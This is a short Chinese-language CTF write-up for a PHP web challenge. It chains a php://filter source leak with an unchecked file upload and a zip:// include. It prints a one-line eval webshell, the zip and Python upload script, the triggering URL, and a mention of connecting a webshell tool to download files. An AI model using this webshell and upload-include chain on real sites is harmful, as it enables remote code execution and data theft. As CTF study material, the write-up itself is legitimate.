简介 :
Document
(破解人数:3)
描述:啥都没有,慢慢找吧。。。
http://218.76.35.74:20129
源码中发现 include.php
http://218.76.35.74:20129/include.php?file=php://filter/read=convert.base64-encode/resource=include
观察 upload.php 的源码 , 发现并没有对文件的内容进行检测
只需要上传一个文件 , 然后再用 include 去包含即可
可以看到包含的时候过滤了 %00 , 很奇怪这里直接过滤的是 %00
我们知道 apache 在给 php cgi 传递 http 的请求参数的时候
是会进行一次 url 解码的 , 感觉这里的 %00 没卵用
之过滤了这些协议 , 并没有过滤 phar / zip 等协议
可以直接使用 zip 协议去包含上传的文件 (因为文件名也是直接用户可控的)
给出利用脚本 :
echo '<?php eval($_REQUEST[c]);?>' > c.php
zip -9r data.zip c.php
upload.py
#!/usr/bin/env python
# encoding: utf-8
import requests
url = "http://218.76.35.74:20129/upload.php"
files = {'file': ('1.jpg', open("data.zip").read(), 'image/jpeg')}
response = requests.post(url, files=files)
print response.content
成功上传以后直接包含即可
http://218.76.35.74:20129/include.php?file=zip://upload/1.jpg%23c&c=phpinfo();('ps aux');
然后直接使用 Webshell-Sniper 进行连接 :
直接进行本地文件下载